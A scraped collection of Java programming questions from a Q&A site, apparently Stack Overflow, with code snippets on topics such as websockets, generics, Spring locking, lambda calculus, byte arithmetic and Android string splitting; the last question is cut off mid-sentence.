working.Here is the relevant code for the Websocket ( Also available on Github ) : https : //github.com/NutterzUK/storj-java-bridge-client/blob/master/storj-client/src/main/java/storj/io/client/websockets/WebsocketFileRetriever.javaAnd the code which kicks off this websocket , available herehttps : //github.com/NutterzUK/storj-java-bridge-client/blob/master/storj-client/src/main/java/storj/io/client/DefaultStorjClient.java : I have also tried upgrading Tyrus to the latest version , and I get the same result . Any ideas ? The output of this code is : After sending the message , it hangs for a while before the `` NORMAL_CLOSURE '' message from the @ OnClose.Update : A really easy way to run this to reproduce the issueI 've added a test username and password to the git repository , so the code available is here : https : //github.com/NutterzUK/storj-java-bridge-clientTo run it , you just need to run storj.io.client.main.MainTestA quick run through of what it does . It 'll first send some HTTP requests to get a token . It 'll use that token to connect to someone 's machine via a websocket , and it 'll send that token as text . In response , it should receive a file as bytes.Before it connects , it prints out the token and the address it is about to connect to . It will hang for a bit before being closed and no onMessage method is ever called . For testing , if you put a System.exit in there ( Uncomment Line 152 in DefaultStorjClient.java ) , it 'll not connect so you can use that token in another client . I have tested using https : //www.websocket.org/echo.html ( Make sure that your browser will allow unsafe URLs as it 's not `` wss '' , to do this in Chrome you 'll need to click the shield in the top right . I can see the server does respond : This shows that a blob is indeed sent in response to the text message , but the @ OnMessage in Tyrus never gets fired .","package storj.io.client.websockets ; import com.google.gson.Gson ; import storj.io.restclient.model.FilePointer ; import javax.websocket . * ; import java.io.File ; import java.io.IOException ; import java.nio.ByteBuffer ; import java.util.concurrent.CountDownLatch ; import java.util.logging.Logger ; /** * Created by steve on 12/07/2016 . */ @ ClientEndpointpublic class WebsocketFileRetriever { private Logger logger = Logger.getLogger ( this.getClass ( ) .getName ( ) ) ; private Gson gson = new Gson ( ) ; private FilePointer filePointer ; private File outputFile ; private AuthorizationModel authModel ; private CountDownLatch latch ; public WebsocketFileRetriever ( FilePointer filePointer , File outputFile , CountDownLatch latch ) { this.filePointer = filePointer ; this.latch = latch ; this.outputFile = outputFile ; authModel = new AuthorizationModel ( ) ; authModel.setToken ( filePointer.getToken ( ) ) ; authModel.setOperation ( filePointer.getOperation ( ) ) ; authModel.setHash ( filePointer.getHash ( ) ) ; } @ OnMessage public void onMessage ( String s ) { logger.info ( `` Received ... `` + s ) ; } @ OnMessage public void onMessage ( ByteBuffer message , Session session ) { logger.info ( `` Received ... . '' + message ) ; } @ OnOpen public void onOpen ( Session session , EndpointConfig endpointConfig ) { logger.info ( `` Opened '' ) ; try { session.getBasicRemote ( ) .sendText ( gson.toJson ( authModel ) , true ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } logger.info ( `` sent : `` + gson.toJson ( authModel ) ) ; } @ OnClose public void onClose ( Session session , CloseReason closeReason ) { logger.info ( `` Closed Websocket : `` + closeReason.getCloseCode ( ) + `` `` + closeReason.getReasonPhrase ( ) ) ; //latch.countDown ( ) ; } @ OnError public void onError ( Session session , Throwable t ) { t.printStackTrace ( ) ; } } CountDownLatch latch ; latch = new CountDownLatch ( 1 ) ; ClientManager wsClient = ClientManager.createClient ( ) ; try { wsClient.setDefaultMaxBinaryMessageBufferSize ( Integer.MAX_VALUE ) ; wsClient.setDefaultMaxTextMessageBufferSize ( Integer.MAX_VALUE ) ; logger.info ( `` CONNECTING TO : `` + `` ws : // '' + pointer.getFarmer ( ) .getAddress ( ) + `` : '' + pointer.getFarmer ( ) .getPort ( ) ) ; final ClientEndpointConfig cec = ClientEndpointConfig.Builder.create ( ) .build ( ) ; wsClient.connectToServer ( new WebsocketFileRetriever ( pointer , encryptedOutputFile , latch ) , cec , new URI ( `` ws : // '' + pointer.getFarmer ( ) .getAddress ( ) + `` : '' + pointer.getFarmer ( ) .getPort ( ) ) ) ; latch.await ( ) ; } catch ( Exception e ) { throw new RuntimeException ( e ) ; } Aug 25 , 2016 8:55:31 PM storj.io.client.DefaultStorjClient downloadFileINFO : CONNECTING TO : ws : //164.storj.eu:8607Aug 25 , 2016 8:55:35 PM storj.io.client.websockets.WebsocketFileRetriever onOpenINFO : OpenedAug 25 , 2016 8:55:35 PM storj.io.client.websockets.WebsocketFileRetriever onOpenINFO : sent : { `` token '' : '' 06c36d4bac4f07ee1751068b5b2230f22e884b38 '' , '' hash '' : '' 837b79bec927a1d8fa7fedd2ea0bb276e0d86e0f '' , '' operation '' : '' PULL '' } Aug 25 , 2016 8:56:11 PM storj.io.client.websockets.WebsocketFileRetriever onCloseINFO : Closed Websocket : NORMAL_CLOSURE Closing",Tyrus websocket client @ OnMessage never called - Storj Open source project +Java,"I 'm a bit lost with this . I have code ( that I did n't write ) which has a class called BitSetExt , which extends BitSet . The signature looks like : The stream ( ) method is not overridden in the extended class . I do know that the code compiles just fine with Java 1.6 . In Eclipse with Java8 , I get the error : The return types are incompatible for the inherited methods Collection.stream ( ) , BitSet.stream ( ) .If I attempt to override stream ( ) and change the IntStream return type to anything , I get a different error and a suggestion to change the return type to IntStream ( which apparently is n't compatible ) . So , what am I not understanding and how can I fix this code ? Thanks for any help .",private class BitSetExt extends BitSet implements Set < Integer >,Java8 IntStream incompatible return type for Collections < Integer > .stream ( ) +Java,"I need to highlight and make url in the text clickable , dynamically.For that , I am using the below methodIts working for most of the cases . But , not working for all the cases as the below example . The pricing information provided to you in your plan terms and conditions about these number ranges will no longer apply and will be replaced by this charging structure . See www.ee.co.uk/ukcalling for further information.As , for the above case , when I split the whole string usingorI got See www.ee.co.uk/ukcalling for as a single word . Instead , I need these 3 - See , www.ee.co.uk/ukcalling and for as 3 different words , not to be as grouped as a single word.I am unable to understand whats wrong in the way of splitting with space.Please help me to know .","private SpannableString addClickablePart ( String string ) { string = string.replaceAll ( `` \\n '' , '' \n `` ) ; string += `` `` ; SpannableString ss = new SpannableString ( string ) ; String [ ] words = string.split ( `` `` ) ; for ( final String word : words ) { if ( CommonUtilities.isValidURL ( word ) ) { int lastIndex = 0 ; while ( lastIndex ! = -1 ) { lastIndex = string.indexOf ( word+ '' `` , lastIndex ) ; if ( lastIndex ! = -1 ) { ClickableSpan clickableSpan = new ClickableSpan ( ) { @ Override public void onClick ( View textView ) { //use word here to make a decision isRefreshingNecessary = false ; Intent mIntent = new Intent ( ctx , UserWebsiteActivity.class ) ; mIntent.putExtra ( `` website '' , word ) ; startActivity ( mIntent ) ; } } ; ss.setSpan ( clickableSpan , lastIndex , lastIndex + word.length ( ) , Spanned.SPAN_EXCLUSIVE_EXCLUSIVE ) ; lastIndex += word.length ( ) ; } } } } return ss ; } String [ ] words = string.split ( `` `` ) ; String [ ] words = string.split ( `` \\s+ '' ) ;",android splitting with space not working for this case . Why ? +Java,"Does anybody have any idea on how to write the basic expressions of ( untyped ) lambda calculus in java ? i.e . identity ( λx.x ) , self application ( λx.x x ) and function application ( λx.λarg.x arg ) Java is not untyped , so I guess any solution will have to accomodate types . But I only found the following , cumbersume to read , solutions : and I am not even sure they are correct ( ! ) . Can anybody propose a better alternative ? Edit : Note , that I am trying to apply the basic notions of lambda calculus with as little as possible of syntactic sugar or ready-made functions . E.g . I know there is identity ( ) , BiFunction etc . I am trying to implement the above with only the basic lambda constructs available , and that means basically only function application","static < T > Function < T , T > identity ( ) { return x- > x ; } static < T > Function < ? extends Function < ? super Function , T > , T > self ( ) { return x- > x.apply ( x ) ; } static < B , C > Function < ? extends Function < B , C > , Function < B , C > > apply ( ) { return x - > arg - > x.apply ( arg ) ; }",Java 8 and lambda calculus equivalent +Java,Hi I 've been dealing with this for a bit now and I have n't been able to fix it.So I have a simple Java application which uses the Google Calendar API to get events from it.When I run it on the IDE ( IntelliJ ) it works with no errors but when I build and run the the JAR from the command line I get this error : I imported the required libraries using maven . I think I may be building the jar wrong.Here 's my MANIFEST.MF : Here is what my Artifacts panel looks like : Any ideas ?,Exception in thread `` main '' java.lang.NoClassDefFoundError : com/google/api/client/extensions/java6/auth/oauth2/VerificationCodeReceiver at info.cantu.smartmirror.Main.main ( Main.java:44 ) Caused by : java.lang.ClassNotFoundException : com.google.api.client.extensions.java6.auth.oauth2.VerificationCodeReceiver at java.net.URLClassLoader.findClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) ... 1 more Manifest-Version : 1.0Main-Class : info.cantu.smartmirror.Main,java NoClassDefFoundError : com/google/api/client/extensions/java6/auth/oauth2/VerificationCodeReceiver when I run jar but not on IDE +Java,"I am practicing for Java fresher interview coding examples.I am trying to write a program to find duplicate numbers between 1 to N , where N is given by the user along with the numbers themselves.Here is the code : But I am getting following error in Eclipse Neon : What is wrong ? Why the JVM heap space error ? Code compiles and runs fine .",import java.io.DataInputStream ; import java.io.IOException ; public class DuplicateNumbers { public static void main ( String [ ] args ) throws IOException { DataInputStream in = new DataInputStream ( System.in ) ; System.out.println ( `` Enter the number of numbers `` ) ; int a = in.readInt ( ) ; int [ ] num = new int [ a ] ; System.out.println ( `` Enter the ints one by one `` ) ; for ( int b = 0 ; b < a ; b++ ) { System.out.println ( `` Enter no `` + ( b+1 ) ) ; num [ b ] =in.readInt ( ) ; } int c = 0 ; for ( int d = 0 ; d < a ; d++ ) { int f = 0 ; c = num [ d ] ; for ( int e=0 ; e < a ; e++ ) { if ( c==num [ e ] ) { f++ ; } } if ( f > 1 ) System.out.println ( `` Duplicate number `` +c ) ; } } } Enter the number of numbers 5Exception in thread `` main '' java.lang.OutOfMemoryError : Java heap space at DuplicateNumbers.main ( DuplicateNumbers.java:14 ),OutOfMemoryError : Java heap space when trying to read 5 ints into an array +Java,"Could someone explain the java byte type ? This does n't compile : While this does : In addition , assignment to a long does n't work , even if the value fits into a byte : It gets even weirder with wrappersThis compiles : But this does n't :",byte b1 = 9 ; byte b2 = 1 ; byte b3 = b1 + b2 ; byte b4 = 9 + 1 ; byte b5 = ( char ) ( 9+1 ) ; byte b7 = ( long ) 127 ; Byte b6 = ( int ) 3 ; Integer i = ( byte ) 3 ;,Java byte type is weird ? +Java,"I have this two interfaces and classes : It all works as desired . But in my opinion second generic parameter in GenericRepository ( K ) is redundant . Because I know that MyEntity is an Identifiable , I think it would be great if I can finally use it like this : But I 'm trying different things without succeeding . Is it possible ? If not , why not ? UPDATE : Answering some responses . I think compiler knows something about which type is the generic in MyEntity . For example :","public interface Identifiable < T > { T getId ( ) ; } public interface GenericRepository < T extends Identifiable < K > , K > { T get ( K id ) ; } public class MyEntity implements Identifiable < Long > { private Long id ; public Long getId ( ) { return id ; } } public class MyService { private GenericRepository < MyEntity , Long > myEntityRepository ; } public class MyService { private GenericRepository < MyEntity > myEntityRepository ; } public class MyEntityGenericRepository implements GenericRepository < MyEntity , Long > { // compiles ... } public class MyEntityGenericRepository implements GenericRepository < MyEntity , String > { // compiler says : `` Bound mismatch : The type MyEntity is not a valid substitute for the bounded parameter < T extends Identifiable < K > > of the type GenericRepository < T , K > '' }",Redundant generic parameters +Java,"Here 's sample code that fails to compile in Java 8 ( 1.8.0_40 ) but compiles in Eclipse 4.4 JDT standalone compiler ( Bundle-Version : 3.10.0.v20140604-1726 ) and runs successfully : javac spits out the following error message : Reading through JLS 15.9.2 ( Determining Enclosing Instances ) and 15.13.3 ( Run-Time Evaluation of Method References ) , I ca n't see why this should fail to compile , and the error message seems outright false since I can manually construct a Sum instance in the same method just fine.I 've found a previous question Constructor reference for inner class fails with VerifyError at runtime that seems relevant , and the linked JDK issue there ( https : //bugs.openjdk.java.net/browse/JDK-8037404 ) indicate a series of compiler issues in this area ; maybe this is another instance of a more general problem . Nevertheless , I 'm not sure I 'm reading the spec right ; could this work in another way ?","import java.util.Arrays ; import org.junit.Test ; import static org.junit.Assert.assertEquals ; /** * Test method references to local class constructors . */public class LocalClassTest { public long sumOfLengths ( String [ ] input ) { class Sum { final long value ; Sum ( long value ) { this.value = value ; } Sum ( Sum left , Sum right ) { this.value = left.value + right.value ; } Sum add ( String s ) { return new Sum ( value + s.length ( ) ) ; } } return Arrays.stream ( input ) .reduce ( new Sum ( 0 ) , Sum : :add , Sum : :new ) .value ; } static String [ ] input = { `` a '' , `` ab '' , `` abc '' } ; @ Test public void localClassConstructorMethodRefs ( ) { assertEquals ( sumOfLengths ( input ) , 6 ) ; } } Error : ( 32 , 25 ) java : incompatible types : can not infer type-variable ( s ) U ( argument mismatch ; invalid constructor reference can not access constructor Sum ( Sum , Sum ) an enclosing instance of type LocalClassTest is not in scope )",How do method references to local class constructors in Java 8 work ? +Java,"My application logs the usage of certain objects - my setup uses AspectJ to identify the contexts I 'm interested in and logs these usages . I later load the log files for analysis , but for efficiency reasons it 's useful to know when an object is no longer reachable.My current approach is to log the objects I 'm interested in with a 'garbage logger ' , which then creates a 'saver ' object containing the object 's identity hash code and stores this in a weak hash map . The idea being that when the object is collected , the saver object will be removed from the weak hash map and collected , thus running code to log the identity hash code of the collected object . I use a separate thread and queue to prevent causing a bottleneck in the garbage collector . Here 's the garbage logger code : My problem is that this seems very convoluted and , because weak hash map wo n't necessarily clear its entries unless space is needed , I might be waiting a long time after the object is collected before recording it . Basically , I 'm looking for a better way to achieve this.Note - I am monitoring arbitrary objects and have no control over their creation so can not override their finalize methods .","public class GarbageLogger extends Thread { private final Map < Object , Saver > Savings = Collections.synchronizedMap ( new WeakIdentityHashMap < Object , Saver > ( ) ) ; private final ConcurrentLinkedQueue < Integer > clearTheseHash = new ConcurrentLinkedQueue < Integer > ( ) ; public void register ( Object o ) { Savings.put ( o , new Saver ( System.identityHashCode ( o ) ) ; } private class Saver { public Saver ( int hash ) { this.hash=hash ; } private final int hash ; @ Override public void finalize ( ) { clearTheseHash.add ( hash ) ; } } @ Override public void run ( ) { while ( running ) { if ( ( clearTheseHash.peek ( ) ! =null ) ) { int h = clearTheseHash.poll ( ) ; log ( h ) ; } else sleep ( 100 ) ; } } // logging and start/end code omitted }",Logging when objects are garbage collected +Java,"To my shock , it turns out that the following code will compile without even warnings : Whereas this gives a compile-time error , as you would expect : I checked it up and indeed , the JLS ( section 15.26.2 ) has this to say : A compound assignment expression of the form E1 op = E2 is equivalent to E1 = ( T ) ( ( E1 ) op ( E2 ) ) , where T is the type of E1 , except that E1 is evaluated only once.This seems ridiculous to me . Why did they feel the need to explicitly cast here ? It seems that automatic type conversion would have handled the widening anyway , and automatically narrowing like this is pretty much guaranteed to result in integer overflow .",public void test ( ) { int value = 2000000000 ; long increment = 1000000000 ; value += increment ; } public void test ( ) { int value = 2000000000 ; long increment = 1000000000 ; value = value + increment ; },Why does n't compound assignment in Java catch overflow problems ? +Java,"I 'm fairly new to android programming , but I am a quick learner.So I found an intresting piece of code here : http : //code.google.com/p/camdroiduni/source/browse/trunk/code/eclipse_workspace/camdroid/src/de/aes/camdroid/CameraView.javaAnd it 's about live streaming from your device 's camera to your browser.But I want to know how the code actually works.These are the things I want to understand:1 ) How do they stream to the webbrowser . I understand that they send a index.html file to the ip adress of the device ( on wifi ) and that file reloads the page every second . But how do they send the index.html file to the desired ip address with sockets ? 2 ) http : //code.google.com/p/camdroiduni/wiki/Status # save_pictures_frequently , Here they mention they are using video , but I am still convinced they take pictures and send them as I do n't see the mediarecorder anywhere.Now my question is how they keep sending AND saving those images into the SD folder ( i think ) . I think it 's done with this code , but how does it works . Like with c.takepicture , it takes long to save and start previewing again , so that 's no option to livestream.I really hope someone can explain these things as good as possible . That would really much be appreciated .","public synchronized byte [ ] getPicture ( ) { try { while ( ! isPreviewOn ) wait ( ) ; isDecoding = true ; mCamera.setOneShotPreviewCallback ( this ) ; while ( isDecoding ) wait ( ) ; } catch ( Exception e ) { return null ; } return mCurrentFrame ; } private LayoutParams calcResolution ( int origWidth , int origHeight , int aimWidth , int aimHeight ) { double origRatio = ( double ) origWidth/ ( double ) origHeight ; double aimRatio = ( double ) aimWidth/ ( double ) aimHeight ; if ( aimRatio > origRatio ) return new LayoutParams ( origWidth , ( int ) ( origWidth/aimRatio ) ) ; else return new LayoutParams ( ( int ) ( origHeight*aimRatio ) , origHeight ) ; } private void raw2jpg ( int [ ] rgb , byte [ ] raw , int width , int height ) { final int frameSize = width * height ; for ( int j = 0 , yp = 0 ; j < height ; j++ ) { int uvp = frameSize + ( j > > 1 ) * width , u = 0 , v = 0 ; for ( int i = 0 ; i < width ; i++ , yp++ ) { int y=0 ; if ( yp < raw.length ) { y = ( 0xff & ( ( int ) raw [ yp ] ) ) - 16 ; } if ( y < 0 ) y = 0 ; if ( ( i & 1 ) == 0 ) { if ( uvp < raw.length ) { v = ( 0xff & raw [ uvp++ ] ) - 128 ; u = ( 0xff & raw [ uvp++ ] ) - 128 ; } } int y1192 = 1192 * y ; int r = ( y1192 + 1634 * v ) ; int g = ( y1192 - 833 * v - 400 * u ) ; int b = ( y1192 + 2066 * u ) ; if ( r < 0 ) r = 0 ; else if ( r > 262143 ) r = 262143 ; if ( g < 0 ) g = 0 ; else if ( g > 262143 ) g = 262143 ; if ( b < 0 ) b = 0 ; else if ( b > 262143 ) b = 262143 ; rgb [ yp ] = 0xff000000 | ( ( r < < 6 ) & 0xff0000 ) | ( ( g > > 2 ) & 0xff00 ) | ( ( b > > 10 ) & 0xff ) ; } } } @ Overridepublic synchronized void onPreviewFrame ( byte [ ] data , Camera camera ) { int width = mSettings.PictureW ( ) ; int height = mSettings.PictureH ( ) ; // API 8 and above // YuvImage yuvi = new YuvImage ( data , ImageFormat.NV21 , width , height , null ) ; // Rect rect = new Rect ( 0,0 , yuvi.getWidth ( ) , yuvi.getHeight ( ) ) ; // OutputStream out = new ByteArrayOutputStream ( ) ; // yuvi.compressToJpeg ( rect , 10 , out ) ; // byte [ ] ref = ( ( ByteArrayOutputStream ) out ) .toByteArray ( ) ; // API 7 int [ ] temp = new int [ width*height ] ; OutputStream out = new ByteArrayOutputStream ( ) ; // byte [ ] ref = null ; Bitmap bm = null ; raw2jpg ( temp , data , width , height ) ; bm = Bitmap.createBitmap ( temp , width , height , Bitmap.Config.RGB_565 ) ; bm.compress ( CompressFormat.JPEG , mSettings.PictureQ ( ) , out ) ; /*ref*/mCurrentFrame = ( ( ByteArrayOutputStream ) out ) .toByteArray ( ) ; // mCurrentFrame = new byte [ ref.length ] ; // System.arraycopy ( ref , 0 , mCurrentFrame , 0 , ref.length ) ; isDecoding = false ; notify ( ) ; }",Need to understand some java code +Java,"Consider the following method : I want to protect this method from race conditions , but this can only occur if two threads with the same customerId are calling it at the same time . If I make the whole method synchronized it will reduce the efficiency and it 's not really needed . What I really want is to synchronize it around the customerId . Is this possible somehow with Java ? Are there any built-in tools for that or I 'd need a Map of Integers to use as locks ? Also feel free to advice if you think I 'm doing something wrong here : ) Thanks !","public void upsert ( int customerId , int somethingElse ) { // some code which is prone to race conditions }",Java synchronized method around parameter value +Java,"I am trying to use HibernateInterceptor as a Advice and I am trying to autowire it.The code is as follows , The following is my XML mapping , When I check the hibernateInterceptop , all I get is NULL : ( ... Not sure why its unable to autowire the hibernate interceptorAny ideas ? Thanks for your time.Cheers , J",@ Aspectpublic class InterceptorAdvice { private HibernateInterceptor hibernateInterceptor ; @ Autowired public void setHibernateInterceptor ( @ Qualifier ( `` hibernateInterceptor '' ) HibernateInterceptor hibernateInterceptor ) { this.hibernateInterceptor = hibernateInterceptor ; } @ Around ( `` execution ( * *..*.dao..*.* ( .. ) ) '' ) public Object interceptCall ( ProceedingJoinPoint joinPoint ) throws Exception { Object obj = null ; try { ... ... . } catch ( Exception e ) { e.printStackTrace ( ) ; } return obj ; } } < bean id= '' hibernateInterceptor '' class= '' org.springframework.orm.hibernate3.HibernateInterceptor '' autowire= '' byName '' > < property name= '' sessionFactory '' ref= '' sessionFactory '' / > < /bean > < ! -- To enable AspectJ AOP -- > < aop : aspectj-autoproxy/ > < ! -- Your advice -- > < bean class= '' com.web.aop.InterceptorAdvice '' / > < ! -- Looks for any annotated Spring bean in com.app.dao package -- > < context : component-scan base-package= '' com.web.dao '' / > < ! -- Enables @ Autowired annotation -- > < context : annotation-config/ >,Autowiring HibernateInterceptor as Advice +Java,I 've been playing with this regex in Java for ages and ca n't get it to work : The following : gives me cat the hat . Another example input is the cat in of the next hat which gives me cat of next hat.Is there any way I can make this regex replacement work without having to break them out into multiple separate regexes for each word and try to replace a string repeatedly ?,( ? : ^| ) ( ? : the|and|at|in|or|on|off|all|beside|under|over|next ) ( ? : | $ ) pattern.matcher ( `` the cat in the hat '' ) .replaceAll ( `` `` ),Java regex replace all not replacing all words +Java,"When my Java web application receives an HTTP POST request , it needs to create a new OkHttp3 Request from the HttpServletRequest and send this to another URL . The original post request could be simple form data or multi-part.Here 's the interface that I am looking to implement : Looks like the challenge boils down to how I would create an okhttp3.RequestBody . Here 's the relevant part of the implementation ... How do I go about doing it ? Any suggestions ? Thanks !",import okhttp3.Request ; public interface OkHttp3RequestBuilder { Request create ( HttpServletRequest request ) ; } final HttpUrl targetUrl = HttpUrl.get ( `` http : //internal.xyz.com '' ) ; final RequestBody requestBody = // ? ? ? ? ? final Request httpRequest = new Request.Builder ( ) .post ( requestBody ) .url ( targetUrl ) .build ( ) ; return httpRequest ;,How to create a okhttp3 Request from an HttpServletRequest ? +Java,"I have this method in my interface which extends CrudRepository : And this component : The problem is concurrently executing fetch ( ) method . ( assume that I only have 1 voucher left in my DB ) What I expect:1- Services A and B call the fetch ( ) method of VoucherFetchComponent2- Service A ( or B ) locks the row , updates one of it 's fields and returns3- The other service can now access the row which was locked . But now the query does n't match the given criteria ( used=false ) , so it returns null.What I get1 and 2 just like above3- The other service returns the old object which has the parameter ( used=false ) but it had been updated before !",@ Lock ( LockModeType.PESSIMISTIC_WRITE ) Voucher findTop1ByUsedFalseAndProductOrderByIdAsc ( Product product ) ; @ Component @ Transactionalpublic class VoucherFetchComponent { @ Autowired private VoucherRepository voucherRepository ; public Voucher fetch ( Product product ) { Voucher voucher=voucherRepository.findTop1ByUsedFalseAndProductOrderByIdAsc ( product ) ; if ( voucher==null ) return null ; voucher.setUsed ( true ) ; voucherRepository.save ( voucher ) ; return voucher ; } },Spring data PESSIMISTIC_WRITE returns old DB value +Java,"This might sound stupid , but why does n't the Java compiler warn about the expression in the following if statement : I realize why the expression is untrue , but AFAIK , a can never be equal to the String literal `` something '' . The compiler should realize this and at least warn me that I 'm an idiot who is coding way to late at night . ClarificationThis question is not about comparing two String object variables , it is about comparing a String object variable to a String literal . I realize that the following code is useful and would produce different results than .equals ( ) : In this case a and b might actually point to the same area in memory , even if it 's not because of interning . In the first example though , the only reason it would be true is if Java is doing something behind the scenes which is not useful to me , and which I ca n't use to my advantage . Follow up questionEven if a and the string-literal both point to the same area in memory , how is that useful for me in an expression like the one above . If that expression returns true , there is n't really anything useful I could do with that knowledge , is there ? If I was comparing two variables , then yes , that info would be useful , but with a variable and a literal it 's kinda pointless .",String a = `` something '' ; if ( a == `` something '' ) { System.out.println ( `` a is equal to something '' ) ; } else { System.out.println ( `` a is not equal to something '' ) ; } String a = iReturnAString ( ) ; String b = iReturnADifferentString ( ) ; if ( a == b ) { System.out.println ( `` a is equal to b '' ) ; } else { System.out.println ( `` a is not equal to b '' ) ; },Why does n't Java warn about a == `` something '' ? +Java,I want to decare two Lists : First is a list of Integers . I decare it as : It works fine.Second is a list of Objects . I declare it as : But it gives a error in eclipse as soon as I write it . The error is : Instead if I write It works fine.I am not able figure out the reason .,"List < Integer > ints= Arrays.asList ( 1,2,3 ) ; List < Object > objs= Arrays.asList ( 1,2.13 , '' three '' ) ; Multiple markers at this line- Type mismatch : can not convert from List < Object & Comparable < ? > & Serializable > to List < Object > - Type safety : A generic array of Object & Comparable < ? > & Serializable is created for a varargs parameter List < Object > objs = Arrays. < Object > asList ( 1,2.13 , '' three '' ) ;",Why is the difference in declaration of generic Lists ? +Java,"I 'm trying to use different methodes depending on from which domain the request is send.e.g.The two domains are routing to one , the same , server and webapp , but I 'd like to return a different modelAndView in the controllerclass depending from which URL the reqeust is comming.Any ideas ? cheers .","@ RequestMapping ( value = `` /index.html '' , domain = `` google.de '' , method = RequestMethod.GET ) public ModelAndView handleDeRequest ( HttpServletRequest request , HttpServletResponse response ) throws Exception { } @ RequestMapping ( value = `` /index.html '' , domain = `` google.com '' , method = RequestMethod.GET ) public ModelAndView handleComRequest ( HttpServletRequest request , HttpServletResponse response ) throws Exception { }",How to differentiate domains using Spring RequestMapping +Java,Below is the Minimal Verifiable Example of a piece of code which i stumbled upon.when i am trying to compile it its giving me Error : java : java.lang.StackOverflowErrorcan anyone point me where i am going wrong in it ? I am getting below error when trying to compile javac test_package/TestClass.java The system is out of resources . Consult the following stack trace for details . java.lang.StackOverflowError at com.sun.tools.javac.code.Scope.dupUnshared ( Scope.java:144 ) at com.sun.tools.javac.comp.Attr.lambdaEnv ( Attr.java:2639 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2305 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) at com.sun.tools.javac.comp.Attr.attribTree ( Attr.java:576 ) at com.sun.tools.javac.comp.Attr.visitLambda ( Attr.java:2435 ) at com.sun.tools.javac.tree.JCTree $ JCLambda.accept ( JCTree.java:1624 ) ... and my version is javac 1.8.0_112Thanks in Anticipation !,"package test_package ; import java.util.function.Predicate ; public class TestClass { public static final String CONST_STR = `` some_data `` + getMoreData ( e - > e.getId ( ) ==3 ) ; private static String getMoreData ( Predicate < TestEnum > p ) { StringBuilder sb = new StringBuilder ( ) ; for ( TestEnum e : TestEnum.values ( ) ) { if ( p.test ( e ) ) { sb.append ( e.name ( ) ) ; } } return sb.toString ( ) ; } public static void main ( String [ ] args ) { System.out.println ( CONST_STR ) ; } } enum TestEnum { OP1 ( 1 ) , OP2 ( 2 ) , OP3 ( 3 ) ; private final int id ; public int getId ( ) { return id ; } TestEnum ( int id ) { this.id = id ; } }",getting StackOverflowError while initializing a static variable +Java,"I 've heard that this is the case , but I could n't find a definitive online source to confirm it.Background : A colleague likes to make his local variables final . One of his reasons for doing so is performance . My contention is that Java 's HotSpot Just In Time compiler will automatically detect invariant local variables , and make them final , so there is no performance benefit to doing that ourselves.Note that I 'm not asking whether it 's good coding practice to make local variables final , because there are already plenty of ( off-topic ) SO questions about that.EDIT : mrhobo makes a good point about optimization of the bytecode for integer literals . I should have given an example of the type of code I was talking about , with my question : Do you think the same type of optimization happens in this scenario , because bar and baz are both marked final ? Or does HotSpot automatically detect that they 're not changing within the scope of the method , and treat them as final anyway ? Similar QuestionsDeclaring local variable as final in a loopsame question , but derives the answer empirically ( by looking at classfiles ) , with no documentation referenceDo javac or Hotspot automatically add 'final ' as an optimisation of invariant variables ? same question for instance variablesInlining in Javasame question for methodsDoes use of final keyword in Java improve the performance ? similar question , with no consensus for local variables","Object doSomething ( Foo foo ) { if ( foo == null ) { return null ; } final Bar bar = foo.getBar ( ) ; final Baz baz = this.bazMap.get ( bar ) ; return new MyObject ( bar , baz ) ; }",Does Sun 's HotSpot JIT compiler automatically apply `` final '' to Java local variables ? +Java,"Something weird has happened . I 've written a Java program , where I 've done nothing to handle uncaught exceptions in any special way . But when I run this one particular program in Windows 7 , there is this uncaught exception in a static context called from main that causes a window to pop up , displaying the exception . I have tried to write a small program to duplicate this effect to no avail . One program ( which I have written entirely by hand ) produces a popup , while no others will do the same.I 'd like to track this down particularly so that I can add code that makes other CAUGHT exceptions display the stack trace in a similar way.I 've asked about this in IRC , but people tell me that this does n't happen . Well , it DID happen . There is a screenshot below . I think my only hope is if someone else recognizes this and can tell me where it comes from.Thanks ! UPDATE : Sorry for the delay getting some code . I had to attend to a colicky infant . Please note that this is a desktop Java app . It 's not an applet , and it does n't use webstart.Here is code copied and pasted from the program that gets the dialog . I 'll do another edit to let you know whether or not my colleague ( who gets the exception ) gets the 